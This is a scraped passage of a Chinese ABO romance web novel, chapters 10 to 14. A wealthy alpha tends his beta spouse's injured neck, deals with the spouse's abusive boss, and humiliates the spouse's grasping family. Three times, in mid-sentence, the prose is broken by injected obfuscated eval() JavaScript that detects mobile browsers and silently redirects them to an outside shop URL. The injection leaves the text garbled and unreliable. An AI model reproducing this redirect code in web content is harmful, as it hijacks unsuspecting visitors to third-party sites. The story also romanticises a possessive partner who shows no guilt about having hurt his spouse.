管家顺着傅晏淮的思路猜测道,“或许是beta不如omega反应强烈,所以信息素堆积到一定程度才会显现异常。” 傅晏淮并没有轻松几分,他依旧拧着眉道,“找个时间送他去医院具体检查一下。” 傅晏淮自然是没有时间陪鹿遥去医院做检查的,他也没有陪伴鹿遥的兴趣,这两天他在鹿遥身上浪费的时间太多了,这个活被安排给了管家。 管家低声应下。鹿遥这两天被折腾得不轻,现在已经陷入了很沉的昏睡状态。虽然清楚床/上的人是被自己搞坏的,但傅晏淮并没有什么愧疚心。 冯医生来傅家已经算是熟门熟路,他熟练地检测温度,熟练地叮嘱配药和挂水。 傅晏淮直接问道,“发烧反复,除了劳累和发炎,还有什么其他的原因吗?” 冯医生再次搬出了一模一样的回答,“我没有检测出鹿遥先生自身的异常,或许是由于您的信息素的影响,这需要到医院做进一步检测。不过为了保险起见,这两天您最好和鹿遥先生保持一定的安全距离,不要再给他过多的刺激。” 傅晏淮嗯了声直接起身,“注意一下他明早的状况。” 管家细致地询问了医生还有没有其他要注意的事情,随后关灯离开了房间。 黑暗的房间内只剩下鹿遥一个人蜷缩着紧闭双眼,在没有边际的梦境里,他喘息着行走在广阔无垠的雪地,四周只有高耸入云的白冷杉。 他被浓郁的白冷杉气味弄得渐渐难耐起来,此时的房间内也的确充斥着傅晏淮信息素的味道。 鹿遥睡得不安稳又醒不过来,后颈痒痒的,但上面的伤口又很疼。 第二天,鹿遥筋疲力尽地睁开双眼。 房间内并无任何异常,昨夜浓郁到几乎能滴出腺/□□的信息素也全部消失不见,鹿遥只觉得自己这一觉睡得非常累。 鹿遥站起后眼前黑了两秒,他缓了缓走向衣柜,然后随手挠了一下后颈。 他立刻被疼得一激灵,完全清醒了过来。 鹿遥对着浴室镜子勉强照了一下,后颈上的咬痕还没有完全愈合,好像又挠坏了很多。 鹿遥不可置信地喃喃道,“怎么会…” 难道是昨晚睡着后自己不注意碰的吗? 身体不适,鹿遥的情绪有点低落,他还想再仔细看看伤口,但门外响起了敲门声。 鹿遥打起精神走过去拉开门,“管家,有什么事。吗。” 这个时间会来找他的应该只有管家才对,但鹿遥见到的是已经穿戴好西装革履的傅晏淮。 傅晏淮看了眼鹿遥挑眉道,“没睡好。没关系,等会回来再睡,先去一趟鹿家。” 11. 第 11 章 鹿遥磕巴了一下,“现,现在就走?” 等等,现在是几点,傅晏淮怎么没有去工作?就算回鹿家吃饭,也可以晚上再去啊。 傅晏淮轻轻按住鹿遥的头顶,把他的脸转向自己腕间的表,“看时间。” 上午11:47。 鹿遥睁大眼睛的时候形状很圆,傅晏淮心里泛起一丝痒意,他皱了皱眉道,“认真点。” 鹿遥一头雾水,他明明很认真。 鹿遥转回去看傅晏淮,“我起晚了,我去换一下衣服。” 鹿遥的状态恢复平常,但傅晏淮心里不上不下的感觉并未消失,他说不清自己想要什么想干什么。 傅晏淮并没有退出去,而是道,“临时让助理买了几件衣服,去楼上把你现在穿的换下来。” 鹿遥更加困惑了,今天这是怎么了,傅晏淮怎么奇奇怪怪的。 不管穿什么对鹿遥来说都只是小事,他跟在傅晏淮身后有些不解地小声问道,“昨晚不是请了服装师来吗。” 傅晏淮不喜欢鹿遥那件灰扑扑的外套,他更喜欢看深蓝色的光滑丝绸从鹿遥身上滑落的样子,傅晏淮没有深究自己喜欢和不喜欢的原因,他只是直接给鹿遥订购了自己常穿的品牌。 傅晏淮并未解释,鹿遥只好沉默。 屋内两套衣服已经摆好了,傅晏淮回头扫了一眼鹿遥,“应该是你的尺码。” 鹿遥上前低头拿起对着镜子比了一下,衣服上没有价签,但料子摸起来很昂贵,衣服上的标志他在傅晏淮的衣柜里见到过。 鹿遥拿着衣服没有乱动,他谨慎道,“这个衣服…” “你的脖子怎么了?” 鹿遥下意识抬手要盖住自己的后颈,但傅晏淮握住了鹿遥的手腕。 平时鹿遥出了自己卧室都是贴上腺体贴的,今天太仓促没来得及。此时鹿遥的后颈看起来狼狈不堪,傅晏淮又不高兴了,“怎么回事。” 傅晏淮这个语气就是又生气了,虽然鹿遥也不知道为什么,坏的又不是他的脖子。 以前傅晏淮的冷言冷语鹿遥也没少听,但今天这短短的四个字却让鹿遥瞬间鼻头泛酸。 他垂下眼克制着道,“我也不知道,可能是不小心碰到了。” 傅晏淮冷声道,“医生给你的药膏呢,没有涂吗?” 鹿遥无措地抬眼看向傅晏淮,他把这件事忘得很彻底,傅晏淮慢慢松开手。 傅晏淮按铃吩咐管家送药膏,他平静道,“结痂的时候会痒,不要碰。” 傅晏淮用指腹擦去鹿遥眼角不小心掉下来的一滴眼泪,他的声音听起来有点无奈,“以前没有发现,你怎么这么爱哭。” 鹿遥不仅脸红,心脏也砰砰急促跳动起来,他想说自己其实不爱哭,但在现在的情景下又无可辩驳。 傅晏淮没有哄过人,通常都是别人费尽心思来讨好他,鹿遥轻而易举止住的眼泪和浮上的羞涩让他感觉很… 感觉很好。 傅晏淮不知道这意味着什么,管家来送药膏的时候鹿遥正背对着傅晏淮坐在沙发上,领口的扣子解开了几颗,露出莹白的后颈和小片裸露的后背。 傅晏淮听见动静回头,管家十分识趣地立刻垂下眼不多看,只是默默把药膏送了过去。 傅晏淮紧挨着鹿遥,两人离得太近,浅淡的白冷杉气息闻得鹿遥晕晕乎乎的。 “别动。” 傅晏淮一只手臂从前面绕过,扶着鹿遥的肩,手指直接触碰到肌肤的感觉很灼热。鹿遥低下头,看见傅晏淮腕骨上戴着的表和停在袖口处凸起的青筋。 药膏冰凉的触感让鹿遥稍微清醒几分,傅晏淮涂得很细致,白冷杉的味道逐渐浓郁起来,鹿遥分不清这是不是自己的错觉。这是傅晏淮的信息素吗?为什么他会闻到。 冷敷贴将伤口都包裹起来,不得不说,伤口处理过后的确舒服很多。鹿遥忍不住小幅度动了动,他的脸颊蹭过傅晏淮的手指。 傅晏淮向上掐住鹿遥的下巴,两个人实在挨得太近了,鹿遥已经完全被锁进了傅晏淮的怀里。 傅晏淮的嗓音听起来有些低哑,“你是在撒娇吗?” 鹿遥的耳尖红红的,他小声道,“不是,我没有。” 傅晏淮从鹿遥身后掐住他的腰,他用手比了一下鹿遥腰身大概的宽度,突如其来的触碰和手掌的热度让鹿遥下意识蜷紧手指。 “衣服尺码没有挑错。” 鹿遥像一滩快要热化了的冰淇淋,傅晏淮捏了一下鹿遥红通通的耳尖站起身漫不经心道,“换好衣服就出来。” 直到傅晏淮离开,鹿遥才敢猛地深深呼吸一口,空气中的白冷杉味道没有变淡,是鹿遥已经适应了。 为什么傅晏淮今天会这样…他不是很讨厌他吗,为什么还会帮他上药,为什么会… 鹿遥乱七八糟地套好衣服出门,服帖合身的剪裁细细勾勒出腰身,蓝宝石色衬得鹿遥很白。管家见到鹿遥眼睛一亮。 鹿遥现在的样子看起来和傅晏淮很相配,穿着这个颜色像是被傅晏淮完全纳入领地的所有物,如果傅晏淮有一个omega伴侣,那应该就是鹿遥现在的样子。 这个突然冒出的想法让管家都愣了一下,但他很快就极具职业素养地道,“请从这边下楼,傅总已经在车上等您了。” 鹿遥的心思完全不在衣服上,他听见这句话连忙道,“好。” 鹿遥收起混乱的思绪,车停在别墅门外,管家替鹿遥拉开门。傅晏淮正坐在后座看着电脑屏幕,鹿遥坐进来后他才不紧不慢抬起头。 傅晏淮的眼神是满意的,他随口道,“助理挑得不错。” 把傅晏淮的喜好揣测得很清晰,鹿遥现在看起来是一块香喷喷的小点心。 鹿遥坐稳后车就启动缓缓开出大门,鹿遥偷偷捏了一下自己的手指,然后鼓起勇气抬头对傅晏淮道,“刚刚你,为什么会…” 手机震动声突兀响起,傅晏淮挑起眉。 鹿遥手忙脚乱翻出手机,和这身新衣服相比,这个破旧的手机傅晏淮看着也很不顺眼了。 来电的人不是鹿家的人,也不是夏时越,竟然是马颂。 鹿遥瞬间想起自己还没有销假,他在接起来之前犹豫地看向傅晏淮。 傅晏淮十分自然地直接伸手替鹿遥划开接听键。 鹿遥的喂还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731141|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说出来,马颂就先在对面怒道,“鹿遥!你知不知道自己旷工多少天了,按照劳动合同,无故旷工是要赔付我资金的!给你十分钟,马上过来!” 鹿遥没什么反应,傅晏淮的脸色慢慢变了。 鹿遥是他的伴侣,这又是个什么东西。 鹿遥提醒马颂道,“这三天是我应该有的假期,我的确忘了销假,今天您算我旷工好了,这个月的薪水扣除全勤和今天的工资,我要离职。” “离职?”马颂惊得一瞬间忘了继续要吼什么,但他很快反应过来,“你是和夏时越约好的吧。离职申请要提前一个月提交,我批准后才能离职,不然按合同,我有理由向你提出赔偿。” 鹿遥的眼神冷下来,“我不认为我们的合同有什么法律效力,马先生,员工和老板是双向尊重的,我自认为没有对不起店里的地方。” 马颂不依不饶,鹿遥走了,很多单子都没办法再做下去,“你认为?你认为有什么用。就算合同不生效,起诉我也可以拖你几个月。鹿遥,你想好聚好散可以,你先回来,我们好好谈谈这件事。” 鹿遥眼中逐渐染上愠怒,傅晏淮轻巧从鹿遥手中拿出手机。 “喂。” 傅晏淮的嗓音低沉又有磁性,单是听就能听出来这是个alpha。 马颂卡壳了一下,“你是?” 傅晏淮报出一串数字,“律师电话,本案全权委托律师代理。你起诉,我应诉。” 鹿遥呆愣地看着傅晏淮,傅晏淮把手机递回到鹿遥眼前,他意简言赅道,“挂断。” 鹿遥下意识抬手挂断。 马颂还恼怒的声音立刻消失,车厢内重新安静下来。 鹿遥终于反应过来,他结巴道,“刚,刚刚…” 傅晏淮反问道,“你一直在这样的环境里工作吗?” 鹿遥不知道傅晏淮这是什么意思,硬着头皮道,“其实大多数时候都不和他打交道。” 傅晏淮嗯了声,他垂眼接着看电脑上的报表,对话就此结束。 鹿遥回忆了一下刚刚的经过,他忍不住攥紧手机道,“傅总,谢谢您刚刚帮我,那个律师…” 傅晏淮抬起头,“马上就要到鹿家了。” “啊?” 傅晏淮耐心提醒他,“你确定还要这么叫我吗。” 傅晏淮的眼神别有深意,“这是我第一次陪你到鹿家吃饭,也是最后一次,如果我是你的话,不会在你的家人面前展现婚后生活的生疏。” 这是什么意思,允许鹿遥光明正大地利用他吗? 傅晏淮觉得这点小小的甜头无关痛痒,鹿遥后颈的伤看着挺可怜的。 鹿遥脸红的时候眼睛总是湿漉漉的,他茫然道,“那应该叫什么。” 车缓慢停下,鹿家到了。 傅晏淮收起电脑,他下车后微微俯身对鹿遥伸出手。 “到了,夫人。” 鹿遥大脑宕机地把手伸过去,傅晏淮的手掌干燥又炽热,他收力握紧,鹿遥借着傅晏淮的手下了车。 傅晏淮伸手揽住鹿遥的腰,状似不经意地擦过鹿遥耳边低声道,“你真的很会撒娇。” 12. 第 12 章 鹿遥真的很不会撒娇,他从来都没有对傅晏淮故作亲昵过,傅晏淮的话简直毫无根据。 鹿遥小小地抗议了一下,“你胡说。” 傅晏淮松松搭在鹿遥腰间的手略微缩紧了一瞬,看来胆子也没有那么小,都敢和他顶嘴了。 “嘘,有人来了。” 鹿遥闻声抬头,果然在门口看见了神情变幻莫测的鹿千星。 鹿遥身体的紧绷暴露了他的紧张,傅晏淮不认得鹿家的每一个人——当然都是见过面的,但傅晏淮一个都没有放在心上。傅晏淮想做什么都不用顾忌周围是否有人,他只是觉得这样逗弄一下鹿遥挺有意思的。 “傅大哥。” 鹿千星先走上前,他仰头对傅晏淮甜甜笑道,“你来啦。” 傅晏淮的表情没有任何变化,想和他套近乎的人实在太多,他连眼神都懒得给。 傅晏淮淡淡瞥了眼大门的方向,他低头对鹿遥道,“先进去吧。” 别说站在这的只是鹿千星,傅晏淮说要进去,无论是谁都不会产生异议。京城最年轻的集团掌权人,傅家的s级alpha,没有人会敢忤逆他。 鹿遥顺从地点头,但刚刚走到门前鹿钟光和关清露就急匆匆迎了上来,“傅总!” 鹿钟光挤出来的笑容很油腻,他的笑容谄媚得太过真心,以至于看起来有点丑陋,“您快请进!没有想到您今天会来,寒舍实在是蓬荜生辉啊,哈哈哈哈哈。” 鹿钟光的表现让关清露觉得丢人了,再加上她没有想到今天傅晏淮真的会来,她的微笑反而看起来有些不自然。 “傅总,感谢您今天能抽出时间来…” “还好。” 傅晏淮打断她,“推了会议来陪鹿遥,我们会在两点前离开。” 关清露的笑容就非常勉强了,虽说都是一母同胞的孩子,但手心手背总有分出更疼爱的那个。鹿遥现在长本事了,能勾得动傅晏淮来鹿家,那她的宝贝鹿千星呢? 傅晏淮的态度太过随意,可以说对鹿家一丝一毫的重视都没有,说话也很不客气,但鹿钟光可不敢生气,他一怒之下选择嬉皮笑脸地忍气吞声。 再者说,不管怎么样鹿遥也是他的孩子,总归鹿钟光也是沾光。 鹿遥十分惶恐,傅晏淮推了会陪他到鹿家吃饭?傅晏淮赚钱都是按秒算的,这一顿饭的价值肯定比不上一个小时的会议。 鹿千星的眼神很复杂,鹿遥不知道自己现在在鹿家三个人的眼里已经是一个很会耍手腕和心机的beta。他想知道傅晏淮是不是真的因为他耽误了公事,但他又找不到机会问,只好状似不经意地去瞄傅晏淮。 鹿千星从后方走到傅晏淮面前,他故意嗲着嗓子脆生生道,“傅大哥,饭菜都已经好了。爸,妈,你们带傅大哥先进去坐,鹿遥,你不是说要做一道甜品吗?” 鹿千星看着鹿遥,“我陪你去厨房。” 鹿千星看起来是有话要和鹿遥说,鹿遥停顿一瞬对傅晏淮道,“那我去一下厨房?很快就回来。” 傅晏淮松开手,“嗯。” 关清露连忙道,“傅总,这边请。” 鹿千星把人拉到后厨,确定傅晏淮在客厅听不到两人的声音后鹿千星才一把甩开手。 “傅大哥今天怎么回来?”鹿千星不客气道,“你做了什么?你勾引他了?” 这话真是问得莫名其妙,鹿遥有些厌烦,“不是你和妈妈让我带傅总来吃饭的吗?” 鹿千星稍稍提高嗓门,“我当然知道,我是问傅大哥怎么会同意和你来!” 鹿遥能和傅晏淮结婚,鹿千星其实是嫉妒的,他既希望鹿遥能从傅晏淮手中拿到实质的好处帮扶鹿家,又不希望鹿遥真的入了傅晏淮的眼。 鹿遥不想理会鹿千星,“我也不知道。” 鹿千星顿时生气了,“鹿遥,你现在是长本事了,也敢对我摆脸色了?!” 鹿遥抿紧唇,他忍耐道,“他的想法不是随便就能猜出来的,鹿家的小动作他都知道,你的确应该好好想想他今天为什么会来。” 鹿遥的忍让出自于对家庭的尊重和期待,但此刻他的确不想再和鹿千星纠缠这些无意义的问题。鹿遥丢下这句话直接转身出去,鹿千星火冒三丈地愤愤瞪着鹿遥的背影。 关清露大约是真的没有想到今天傅晏淮会来,桌上摆的‘家宴’很敷衍,和傅家的水准天差地别。 鹿遥走出厨房时鹿钟光正铆足了劲和傅晏淮搭话,关清露则心神不宁地频频往厨房这边看。 见到鹿遥出来,她下意识往鹿遥身后寻找鹿千星。但没看到人影,关清露的神情立刻变得不悦。 如果此时傅晏淮不在,关清露一定会开口训斥鹿遥,但傅晏淮就坐在对面,关清露只是向鹿遥投去责备和不悦的目光。 鹿遥也只能当作没看见,他沉默地在傅晏淮身边坐下。 虽然是在鹿家的餐桌,但傅晏淮看起来和坐在会议室首位没有差别,他垂眼听着鹿钟光绞尽脑汁地推销自己,敷衍到连一声嗯都不愿意给。 傅晏淮听到身边的动静抬眼,他没有错过鹿遥走近时鹿钟光和关清露丰富多彩的神情。 傅晏淮被勾起了一点兴致,他知道这么短的时间做不出甜品,但他还是转向鹿遥故意问道,“做了什么?” 鹿遥还没有完全从情绪中抽离,他听到傅晏淮开口问话后磕巴了一下,“做了,呃。” 什么也没有做,鹿千星只是找个借口把人叫走,厨师应该会准备甜品的,但是鹿遥没有注意到准备了什么。 傅晏淮好整以暇看着他,鹿遥又面红耳赤起来,他坐立难安地想要找出一个借口,鹿千星此时端着一个精致的小碟子走近。 “傅大哥。”鹿千星殷切道,“马卡龙,只是不知道这个味道合不合你的口味。” 一桌子的人,只有这么一个小碟子放在他面前,傅晏淮从出生到现在大约都没有见过如此寒酸的场面。 傅晏淮挑起眉,他没有什么品尝的兴趣,但或许这道甜品最后的工序中有鹿遥的参与。 以前鹿遥也曾经给他做过几次甜品,味道意外地很好接受。不过傅晏淮不喜欢吃甜食,心情好的时候会尝尝,心情不好的话,甜品和鹿遥都会遭到傅晏淮的冷待。 现在刚好属于傅晏淮耐心尚存的时刻,他挖了一点尝了尝。 在鹿千星期待的眼神中,傅晏淮优雅地抽出纸巾擦嘴,他没有咽下去。 这是非常失礼的举动,傅晏淮随手扔到一旁的底盘里,他没有看鹿千星,而是看着那个马卡龙随口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731142|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“怪不得说不出来,小骗子。” 鹿遥接连收到很会撒娇和小骗子两项指控,如果这是在床/上,他会立刻羞得哭出来,但现在他只能努力镇定道,“我回家再重新做,傅…” 傅晏淮知道鹿遥的脸皮有多薄,他极有耐心地等着鹿遥开口。 感受到一旁傅晏淮的注视,鹿遥差点咬到自己舌头,他紧急改口道,“老…老公?” 傅晏淮有些诧异,他以为鹿遥会选择叫他的名字。 鹿遥的这句话说出口,餐桌上所有人都愣住了,傅晏淮感觉有些微妙,不过这件事是他自己同意的,他默认了这个称呼。 傅晏淮和鹿遥的互动太过旁若无人,把站在一边的鹿千星衬得像个上菜的服务生,他气得身体都微微哆嗦了,但是又不敢说什么。 关清露看到疼爱的小儿子受委屈当然心疼,她赶忙出声解围,“千星,快过来,你傅大哥原本就不喜欢这些,看你这孩子。” 鹿千星委委屈屈地到她身边坐下,关清露表面责怪实则关心。鹿钟光虽然面上讪讪,但明摆着傅晏淮对鹿遥不错,他很快又笑呵呵地张罗起来,“吃菜,都吃菜。” 傅晏淮不想吃,他的挑剔和矜贵体现在生活的每一方面,鹿遥没什么所谓,但他觉得鹿家的饭菜傅晏淮不会喜欢。 鹿钟光还在锲而不舍地说起傅家的新项目,“这次可是一个大项目,徐家也参与,是不是?傅总,您看,我们这关系,是不是应该…” 鹿遥蹙眉道,“爸,先吃饭吧。” 鹿钟光不敢对傅晏淮强硬,但对鹿遥他习惯性地开口训斥,“我在和傅总说话,有你什么事?” 关清露在一旁不动声色道,“生意上的事你都不懂,鹿遥,你带着千星先上楼吧。” 鹿千星故意带着恶意撒娇,“傅大哥不是想吃你做的甜品吗?刚好,你去后厨吧。” 傅晏淮很直观地感受到了鹿遥的家庭,鹿遥已经习惯了这种场景,他平静地提醒道,“我不懂,但我知道项目投资也有门槛,可以直接走正常程序申请。” 鹿钟光的脸色蓦地沉下来,“鹿遥!” 傅晏淮用指节敲了两下桌面,声音不大,但鹿钟光很快噤声,关清露和鹿千星也都目露期待地看向傅晏淮。 “如果我没记错的话。”傅晏淮随意扫过这间别墅,“这里是我送给鹿遥的新婚礼物。” 鹿钟光立刻不再作声,直白地来说,是鹿遥和傅晏淮结婚,他借口要来的。傅晏淮的确大方,只可惜鹿家人不知道,傅晏淮的大方是有特定人选的。 “项目要出钱,你们出不起。你们只出得起一个鹿遥,不是吗。” 关清露露出受辱的神情,鹿钟光都没法维持笑容了,“傅总,您这话…” 傅晏淮站起身,“以你们的身份,确实也只能叫我傅总。” 傅晏淮这句话可以说就是直接在针对鹿千星,鹿千星作为a级omega,从小到大都被父母捧在手心里长大,他还从没有受到过这样的羞辱。鹿千星耳中嗡嗡作响,一瞬间就想站起来质问。 “鹿遥,是不是你!是不是你对傅大哥说了什么…” 鹿遥没有听完后半句话,因为傅晏淮揽着他的腰站起身。 “谁教你的叫老公,嗯?” 13. 第 13 章 两人还没有完全走出鹿家的大门,鹿遥只感觉如芒在背。傅晏淮离开,关清露不再掩藏自己凝重的神情,她紧缩眉头看着鹿遥的背影。 鹿遥能感觉到屋内的几人视线久久没有移开,鹿遥只能默默祈祷刚刚傅晏淮的话他们没有听到,这句话听起来实在太亲昵了,鹿遥不擅长应对这样的情绪。 傅晏淮刚刚是低头在他耳边说的,鹿遥走起路来都有点同手同脚了,等到走下台阶鹿遥才小声道,“我以为,您的意思就是…” 司机替鹿遥拉开门,傅晏淮耐心等着鹿遥上车后才坐下。 车子开动,傅晏淮忽然开口,“其实,这个称呼有其他更适合的场合。” 鹿遥茫然扭过头去看他,“什么?” 傅晏淮定定看了鹿遥一眼,“等到我想听的时候,会让你叫的。” 就算是再表现出雍容尔雅谦和有礼的模样,傅晏淮本质上也只是一个自负又恶趣味十足的alpha。 s级会把自己的原始冲动掩藏得很好,但野兽终究会亮出自己的爪牙。尤其,鹿遥已经是完全属于傅晏淮的猎物了。 鹿遥莫名地感到不安,傅晏淮重新靠回椅背,他敲了一下耳机吩咐对面,“二十分钟后会议准时开始。” 鹿遥这才猛地想起来,他满眼写着‘想说话’,但又怕耽误傅晏淮的公事。 傅晏淮简短道,“说。” 鹿遥就做了一下心里建设问道,“刚刚您说,是因为我才推掉了会议…” 傅晏淮的语气听起来就只是公事公办时的疏冷,“你能为我产生的价值当然远不如每一个平常的会议,既然无法作出对等的弥补和赔偿,又为什么要问?” 傅晏淮前后态度的巨大差别让鹿遥迅速回归现实,果然傅晏淮刚刚的亲密都只是装出来的。 不过这也算是一件好事,至少傅晏淮对他比以前有耐心很多。 鹿遥这样安慰着自己,他还是努力微笑了一下,然后沉默转回头垂下眼。 深蓝色的绸缎华贵,鹿遥露出的一小截手腕白皙,他没有因为这件价格高昂的衣服感到高兴,这不是属于他的东西。 鹿遥人生中感受到温暖的次数屈指可数,傅晏淮对他态度很糟糕,但最初鹿遥主动找上傅晏淮请求他考虑自己结婚的时候,傅晏淮给了他足够的尊重。婚后易感期的某些时刻,也让鹿遥产生了一些‘近乎爱情’的错觉。 漫天冰雪的世界里,一小簇虚妄的火苗也足够可贵,鹿遥只是在尽自己的努力延续这段婚姻。 傅晏淮在车上时一直处理公务,他并没有觉得自己的话有什么不妥,从出生起就站在金字塔顶端的alpha习惯了高高在上的俯视。 不过鹿遥的情绪低落他能感受到,如果是以前。傅晏淮不会理会,但是现在,有些事情悄悄改变了。 鹿遥后颈上还贴着他亲手贴上去的冷敷贴,傅晏淮想起了自己干的好事。 一个合心意又有点意思的伴侣,他不介意开口哄一哄。 “今晚有事,晚饭不用准备我的了。喜欢吃什么就告诉管家,记得换药。” 鹿遥的眼睛抬起时亮亮的,傅晏淮心不在焉地想,嗯,果然很好哄。 鹿遥不清楚傅晏淮的想法,他下车后站在傅晏淮降下一半的车窗前温声道,“好。” 车窗重新关上,鹿遥站在原地看着傅晏淮离开。 管家在他身后默默等了等,随后开口,“鹿遥先生,您身体还没有好,先进来吧,不要吹到风了。” 鹿遥点点头,跟着管家进门,管家从桌上拿起一个包装袋,“这是傅总吩咐我准备的,不知道您习惯用什么牌子,这是x品牌的最新款。” 鹿遥看清是什么东西后忍不住震惊,“为什么忽然买了一部新手机?” 他下意识拒绝,“这个太贵了,我现在的手机就很好。” “这是傅总特意要求的。”管家在特意这两个字上稍稍加重音,管家劝诱道,“傅总只是在关心您而已,所以才选了新的衣服和手机。” 管家的话有些夸大其词了,傅晏淮注意到了鹿遥的旧手机,也的确吩咐了管家买一个新的,但他可不会亲自挑选什么。 关心的话,或许是真的有一些。 鹿遥想了想自己少得可怜的存款,他买不起这部手机,但这点钱对傅晏淮来说,应该是掉在地上都懒得弯腰捡起来的。 鹿遥再一次清晰认识到两人巨大的身份鸿沟,他只能以沉默应对。 管家应该是看出了鹿遥的顾虑,他微微叹了口气,“鹿遥先生。” 管家鼓励鹿遥道,“您不要想太多,只是一点婚内的小礼物。您最近一直生病,傅总其实很担心。” 鹿遥的后颈突兀地跳动了一下,傅晏淮的态度的确转变了。 “如果您还有顾虑。”管家面不改色地接着道,“可以去向傅总亲自道谢,我想傅总也会高兴的。” 这听起来也是个好办法,鹿遥接过纸袋道谢,“谢谢您。” 管家十分欣慰地看着鹿遥,“晚饭很快就准备好,您先回去休息吧。” 鹿遥回到了自己的房间,他首先把身上的衣服脱下来挂好,现在他空荡荡的衣柜里有了两套格格不入的衣服。 鹿遥坐下来适应了一下新手机,他刚刚把数据和信息挪过去,手机屏幕上就显示出了关清露的来电。 鹿遥这次心情意外地很平静,他接起电话,“妈妈。” 鹿遥以为关清露会质问他今天在鹿家发生的事,但他没有想到,关清露最先开口关心的竟然是一件小事。 “鹿遥。”关清露的声音听起来很沉,鹿遥曾经听过她这样的语气,在得知傅晏淮同意和鹿遥结婚后,关清露找到他,就是这样的语气。 “你身上的这身衣服是从哪来的?” 鹿遥都已经做好准备迎接关清露的训斥,他闻言愣了一下,“我自己买的。” 鹿遥隐瞒了傅晏淮给他做衣服的事,关清露一再追问的话很可能会问出那张亲属卡。不论傅晏淮是什么态度,鹿遥都不想动那张卡。 “你买的?你哪里来的钱?” 鹿千星的声音忽然冒了出来,鹿遥走后他就在家里委屈得大哭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731143|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一场,傅晏淮从头到尾都没有多给他一个眼神,鹿千星忍不住对鹿遥发脾气。 “从你回家我就看出不对了,站在门口就和傅大哥搂搂抱抱,你还知不知道礼义廉耻!” 鹿遥只不过恰好是个beta罢了!如果傅晏淮能和omega正常结合,怎么会轮到他和傅晏淮结婚? 鹿遥忽略了鹿千星撒气的话,他接着对关清露道,“的确是我自己买的,傅…他不喜欢原来的,我才新买了一身换掉。” 关清露冷笑一声,“最好是如此。” 她忽然又放缓了声音,“鹿遥,你知道的,当初你能进傅家,和傅晏淮在一起,也是因为你是鹿家的孩子的缘故。有这么一层原因在,你应当要记得多多帮扶家里。” 关清露说得不对,鹿遥能和傅晏淮结婚,完全只是因为他自己。 那次出现意外的宴会,鹿千星的同学恰好在场,他抓拍了一张错位图片发给鹿千星,说他的哥哥在外勾引老男人。 鹿遥当时还在京城大学念书,鹿千星分数不够,他先和同学大闹了一场,后来不知道怎么弄的,那张照片出现在了学校论坛里。 校方领导和老师轮番问责,同学隐隐的不屑、关清露斥骂他给鹿家丢脸,再加上高昂的学费,鹿遥没能完成自己的学业。 鹿遥退学后到了傅晏淮公司边上的一家甜品店工作,他经常送甜品到前台,但很少能见到傅晏淮。 直到傅晏淮易感期的症状再也压制不住,他要找一个beta结婚,鹿遥主动去到公司守到了傅晏淮。 他知道傅晏淮一定已经不记得自己,但他还是鼓足勇气在走廊尽头问傅晏淮,可不可以考虑他。 鹿遥也不知道傅晏淮为什么会答应,他只记得那天傅晏淮难辨情绪的幽深眼底。 “我赚的钱还会打回家里的。” 鹿遥安静道,“我知道家里抚养我长大,我会把这些钱还完。” 关清露脸色骤变,语气立刻变得咄咄逼人,“你现在是翅膀硬了,我管不住你了是不是。你这是什么意思,要和家里断绝关系?” 鹿遥忍耐道,“我是我,傅总是傅总,您到底为什么一直要惦记着傅家的东西?我说了我会往家里打钱的,我会一直打,你不要总想着…” 鹿千星还是第一次见到关清露如此扭曲的神情,他也不知道关清露今天为什么会对鹿遥的话反应这么大,他看着关清露的神色有些害怕了。 “妈妈,您…” 关清露直接对鹿遥阴狠道,“为什么?我卖了我自己的孩子,难道不该给我足够的报酬吗?” 鹿遥耳边嗡鸣作响,他动了下嘴唇,好半天才找回自己的声音,“…您说什么?” “我说,你就算卖,也要卖出一个好价钱,不然我养你有什么用?” 电话被挂断,鹿遥没有拿稳,新手机差点掉到了地上。 鹿遥赶忙手忙脚乱接住手机,他默默良久,最终只是自嘲地笑了一下。 至少还完他长大的花销吧,至少还完这份恩情。 鹿遥已经不奢求家人的爱了。 14. 第 14 章 鹿遥的身体还没有完全恢复,他疲倦地蜷缩在被子里,强迫自己去思考一些其他的事。 离职还是要到店里去说的,只有一通电话,马颂大概率不会善罢甘休。晚上傅晏淮回来的话,应该用什么来感谢他比较好呢?傅晏淮好像什么都不缺… 鹿遥的眼皮渐渐地有点沉,但思绪太过混乱,他一时有点睡不着。 正在他思考一块费南雪合不合适的时候,手机铃声突兀地响了起来,鹿遥原本还在打瞌睡,听见声音猛地睁开眼睛寻找来源。 很快他就意识到这是自己的新手机,他忘记了调成震动,是夏时越。 鹿遥刚刚接通,夏时越的声音就立刻传了出来,“马颂脑子一定是有问题!” 夏时越抱怨道,“他从今天到店里没多久就开始到处找茬,我看他就是有病!” 